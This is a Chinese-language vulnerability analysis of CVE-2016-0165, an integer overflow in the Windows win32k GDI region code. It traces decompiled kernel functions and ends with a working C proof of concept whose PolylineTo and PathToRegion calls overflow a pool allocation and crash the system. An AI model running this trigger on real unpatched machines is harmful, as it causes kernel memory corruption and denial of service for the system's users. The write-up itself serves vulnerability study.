#### 0x0 前言

CVE-2016-0165 是一个典型的整数上溢漏洞，由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验，导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验，在后续通过该内存块作为缓冲区存储数据时，将会触发缓冲区溢出访问的 OOB 问题，严重情况将导致系统 BSOD 的发生。 #### 0x1 原理

CVE-2016-0165 是 win32k 内核模块中 GDI 子系统的一个典型的整数向上溢出漏洞。整数向上溢出漏洞通常的特征是：当某个特定的整数变量的数值接近其整数类型的上限、而代码逻辑致使未进行适当的溢出校验就对该变量的值继续增加时，将导致发生整数溢出，使该变量数值的高位丢失，变成远小于其本应成为的数值；如果该变量将作为缓冲区大小或数组的元素个数，继而将使依赖该缓冲区大小或数组元素个数变量的后续代码发生诸如缓冲区溢出、越界访问等问题。

  if ( 0x28 * (v6 + 1) )
{
v12 = ExAllocatePoolWithTag((POOL_TYPE)0x21, 0x28 * (v6 + 1), 'ngrG');
v7 = a4;
P = v12;
}
else
{
P = 0;
}

  if ( ULongAdd(NumberOfBytes, 1u, &NumberOfBytes) >= 0
&& ULongLongToULong(0x28 * NumberOfBytes, 0x28 * NumberOfBytes >> 32, &NumberOfBytes) >= 0 )
{
P = NumberOfBytes ? ExAllocatePoolWithTag((POOL_TYPE)0x21, NumberOfBytes, 'gdeG') : 0;
if ( P )
{
v6 = a4;
NumberOfBytes = 1;
...
}
...
}

NumberOfBytes = 0x28 * (NumberOfBytes + 1);

  v6 = *((_DWORD *)a2 + 1);
v38 = v6;
if ( v6 < 2 )
return;

  v24 = (struct EDGE *)P;
*(_DWORD *)(*(_DWORD *)v5 + 0x30) = 0x48;
*(_DWORD *)(*(_DWORD *)v5 + 0x18) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x14) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x34) = 0;
*(_DWORD *)(*(_DWORD *)v5 + 0x1C) = *(_DWORD *)v5 + 0x48;
v25 = *(_DWORD *)v5 + 0x20;
*(_DWORD *)(v25 + 4) = v25;
*(_DWORD *)v25 = v25;
vConstructGET(a2, (struct EDGE *)&v30, v24, a4);

vConstructGET

// Describe a single non-horizontal edge of a path to fill.
typedef struct _EDGE {
PVOID pNext;            //<[00,04]
INT iScansLeft;         //<[04,04]
INT X;                  //<[08,04]
INT Y;                  //<[0C,04]
INT iErrorTerm;         //<[10,04]
INT iErrorAdjustUp;     //<[14,04]
INT iErrorAdjustDown;   //<[18,04]
INT iXWhole;            //<[1C,04]
INT iXDirection;        //<[20,04]
INT iWindingDirection;  //<[24,04]
} EDGE, *PEDGE;

  for ( pptfxStart = 0; ppr; ppr = *(struct PATHRECORD **)ppr )
{
pptfx = (struct PATHRECORD *)((char *)ppr + 0x10);
if ( *((_BYTE *)ppr + 8) & 1 )
{
pptfxStart = (struct PATHRECORD *)((char *)ppr + 0x10);
pptfxPrev = (struct PATHRECORD *)((char *)ppr + 0x10);
pptfx = (struct PATHRECORD *)((char *)ppr + 0x18);
}
for ( pptfxEnd = (struct PATHRECORD *)((char *)ppr + 8 * *((_DWORD *)ppr + 3) + 0x10);
pptfx < pptfxEnd;
pptfx = (struct _POINTFIX *)((char *)pptfx + 8) )
{
pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfx, pBound);
pptfxPrev = pptfx;
}
if ( *((_BYTE *)ppr + 8) & 2 )
{
pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
pptfxPrev = 0;
}
}

  *(_DWORD *)pFreeEdge = v24;
*(_DWORD *)v23 = pFreeEdge;
return (struct EDGE *)((char *)pFreeEdge + 0x28);

#### 0x2 追踪 图 2-1 RGNMEMOBJ::vCreate 的引用列表

NtGdiPathToRegion

  DCOBJ::DCOBJ(&v9, a1);
...
XEPATHOBJ::XEPATHOBJ(&v7, &v9);
if ( v8 )  // *(PPATH *)((_DWORD *)&v7 + 2)
{
v4 = *(_BYTE *)(*(_DWORD *)(v9 + 0x38) + 0x3A);
v11 = 0;
RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
if ( v10 )
{
v5 = HmgInsertObject(v10, 0, 4);
if ( !v5 )
RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
}
else
{
v5 = 0;
}
...
}

  EPATHOBJ::EPATHOBJ(this);
...
v3 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
*((_DWORD *)this + 2) = v3;
if ( v3 )
{
*((_DWORD *)this + 1) = *(_DWORD *)(v3 + 0x44); // count
*((_DWORD *)this + 0) = *(_DWORD *)(v3 + 0x40);
} 图 2-2 从 PathToRegion 到 ExAllocatePoolWithTag 调用路径

#### 0x3 触发

PolylineTo

gdi32.dll 模块中存在 PolylineTo 导出函数，用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线。该函数最终将直接调用 NtGdiPolyPolyDraw 系统调用：

BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
int v4; // eax@4
int v5; // edi@4
int v6; // edi@9

if ( ((unsigned int)hdc & 0x7F0000) != 0x10000 )
{
if ( ((unsigned int)hdc & 0x7F0000) == 0x660000 )
return 0;
v4 = pldcGet(hdc);
v5 = v4;
if ( !v4 )
{
GdiSetLastError(6);
return 0;
}
if ( *(_DWORD *)(v4 + 8) == 2 && !MF_Poly((int)hdc, (struct _POINTL *)apt, cpt, 6u) )
return 0;
if ( *(_BYTE *)(v5 + 4) & 0x20 )
vSAPCallback(v5);
v6 = *(_DWORD *)(v5 + 4);
if ( v6 & 0x10000 )
return 0;
if ( v6 & 0x100 )
StartPage(hdc);
}
return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}

  cpt = 0;
for ( i = 0; i < ccpt; ++i )
cpt += *((_DWORD *)pulCounts + i);
if ( cpt > 0x4E2000 )
goto LABEL_56;

  switch ( iFunc )
{
case 1:
ulRet = GrePolyPolygon(hdc, pptTmp, pulCounts, ccpt, cpt);
break;
case 2:
ulRet = GrePolyPolyline(hdc, pptTmp, pulCounts, ccpt, cpt);
break;
case 3:
ulRet = GrePolyBezier(hdc, pptTmp, ulCount);
break;
case 4:
ulRet = GrePolylineTo(hdc, pptTmp, ulCount);
break;
case 5:
ulRet = GrePolyBezierTo(hdc, pptTmp, ulCount);
break;
default:
if ( iFunc != 6 )
{
v18 = 0;
goto LABEL_47;
}
ulRet = GreCreatePolyPolygonRgnInternal(pptTmp, pulCounts, ccpt, hdc, cpt);
break;
}

PolylineTo 函数中调用时由于这两个参数被分别指定为 14 数值，那么在 NtGdiPolyPolyDraw 中将会进入调用 GrePolylineTo 函数的分支。传入 GrePolylineTo 函数调用的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目，数值来源于从 PolylineTo 函数传入的 cpt 变量（见清单 3-1 所示）。

    EXFORMOBJ::vQuickInit((EXFORMOBJ *)&v11, (struct XDCOBJ *)&v12, 0x204u);
v8 = 1;
PATHSTACKOBJ::PATHSTACKOBJ(&v13, (struct XDCOBJ *)&v12, 1);
if ( !v14 )
{
EngSetLastError(8);
LABEL_12:
PATHSTACKOBJ::~PATHSTACKOBJ((PATHSTACKOBJ *)&v13);
v6 = 0;
goto LABEL_9;
}
if ( !EPATHOBJ::bPolyLineTo(&v13, (struct EXFORMOBJ *)&v11, a2, a3) )
goto LABEL_12;
v9 = (const struct _POINTFIX *)EPATHOBJ::ptfxGetCurrent(&v13, &v10);
DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

  v4 = *(_DWORD *)(*(_DWORD *)a2 + 0x70);
if ( v4 & 1 )
{
...
v6 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
*((_DWORD *)this + 2) = v6;
if ( v6 )
{
*((_DWORD *)this + 1) = *(_DWORD *)(v6 + 0x44);
*((_DWORD *)this + 0) = *(_DWORD *)(v6 + 0x40);
...
}
...
}

EPATHOBJ::bPolyLineTo

  if ( *((_DWORD *)this + 2) )
{
v6 = 0;
v8 = a3;
v7 = a4;
result = EPATHOBJ::addpoints(this, a2, (struct _PATHDATAL *)&v6);
if ( result )
*((_DWORD *)this + 1) += a4;
}

  if ( !(*(_BYTE *)(*((_DWORD *)this + 2) + 0x34) & 1) )
EPATHOBJ::growlastrec(this, a2, a3, 0);
while ( *((_DWORD *)a3 + 1) > 0u )
{
if ( !EPATHOBJ::createrec(v3, a2, a3, 0) )
return 0;
}

type struct  _POINTFIX {
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;

struct _PATHRECORD {
struct _PATHRECORD *pprnext;
struct _PATHRECORD *pprprev;
FLONG    flags;
ULONG    count;
POINTFIX aptfx; // at least 2 points
};

  cPoints = *((_DWORD *)ppath + 0xD) & 1;
...
if ( cPoints )
{
ppath = *((_DWORD *)this + 2);
*((_DWORD *)ppr + 4) = *(_DWORD *)(ppath + 0x2C);
*((_DWORD *)ppr + 5) = *(_DWORD *)(ppath + 0x30);
--maxadd;
*((_DWORD *)ppr + 2) = flags | *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) & 5;
*(_DWORD *)(*((_DWORD *)this + 2) + 0x34) &= 0xFFFFFFFA;
}
else
{
ppath = *((_DWORD *)this + 2);
if ( *(_DWORD *)(ppath + 0x18) != 0 )
*(_DWORD *)(*(_DWORD *)(ppath + 0x18) + 8) &= 0xFFFFFFFD;
}
v19 = (struct PATHRECORD *)((char *)ppr + 8 * cPoints + 0x10);

EPATHOBJ::~EPATHOBJ 析构函数中会将 EPATHOBJ 对象的 cCurves 成员存储的更新后的曲线数目回置给关联的 PATH 对象中的 cCurves 域中：

  ppath = ((_DWORD *)this + 2);
if ( *((_DWORD *)this + 2) )
{
*(_DWORD *)(*(_DWORD *)ppath + 0x44) = *((_DWORD *)this + 1);
*(_DWORD *)(*(_DWORD *)ppath + 0x40) = *((_DWORD *)this + 0);
ppath = DEC_SHARE_REF_CNT(*(_DWORD *)ppath);
} 图 3-1 从 PolylineTo 到 EPATHOBJ::bPolyLineTo 调用路径

#### 0x4 验证

Windows 系统中，ULONG 类型的整数最大值为 0xFFFFFFFF，超过该范围将会发生整数向上溢出，溢出发生后仅保留计算结果的低 32 位数据，超过 32 位的数据将丢失。例如：

0xFFFF FFFF + 0x1 = 0x(1) 0000 0000 = 0x0

NumberOfBytes = 0x28 * (v6 + 1)

0x28 * (v6 + 1) > 0xFFFFFFFF

RGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数，用来遍历 PATHRECORD 列表中的每个条目，并将所有未处于闭合状态的记录项设置为闭合状态。设置闭合状态表示将末尾的坐标点和起始坐标点相连接，所以需要同时对 cCurves 成员变量加一。

  for ( ppr = *(struct PATHRECORD **)(*((_DWORD *)this + 2) + 0x14); ppr; ppr = *(struct PATHRECORD **)ppr )
{
v2 = *((_DWORD *)ppr + 2);
if ( v2 & 2 )
{
if ( !(v2 & 8) )
{
*((_DWORD *)ppr + 2) = v2 | 8;
++*((_DWORD *)this + 1);
}
}
} 图 4-1 漏洞验证逻辑

#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char *argv[])
{
BOOL ret = FALSE;
for (LONG i = 0; i < maxCount; i++)
{
point[i].x = i + 1;
point[i].y = i + 2;
}
HDC hdc = GetDC(NULL); // get dc of desktop hwnd
BeginPath(hdc); // activate the path
for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
{
ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
}
EndPath(hdc); // deactivate the path
HRGN hRgn = PathToRegion(hdc);
return 0;
} 图 4-2 整数溢出引发 OOB 导致系统 BSOD 触发 本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/579/
{"ft_lang_label":"__label__zh","ft_lang_prob":0.6728566,"math_prob":0.99944454,"size":16308,"snap":"2019-35-2019-39","text_gpt3_token_len":9723,"char_repetition_ratio":0.14984053,"word_repetition_ratio":0.0589372,"special_character_ratio":0.3103385,"punctuation_ratio":0.17308441,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9932619,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null,1,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-18T09:57:40Z\",\"WARC-Record-ID\":\"<urn:uuid:e0b866bc-1664-47ba-9a77-915981ca2e19>\",\"Content-Length\":\"49163\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:5f85291b-e321-424c-8b5a-baf06e0a0b20>\",\"WARC-Concurrent-To\":\"<urn:uuid:712253b8-de75-448f-a7ad-7fcbc65e6dd3>\",\"WARC-IP-Address\":\"62.133.34.101\",\"WARC-Target-URI\":\"https://paper.seebug.org/579/\",\"WARC-Payload-Digest\":\"sha1:H6VKNRUSMPAY2NZHNB5VDZTXZEUPINCE\",\"WARC-Block-Digest\":\"sha1:BJIBSP5UAFJTQZGG6YOIEWWHBYVOPCIJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027313747.38_warc_CC-MAIN-20190818083417-20190818105417-00302.warc.gz\"}"}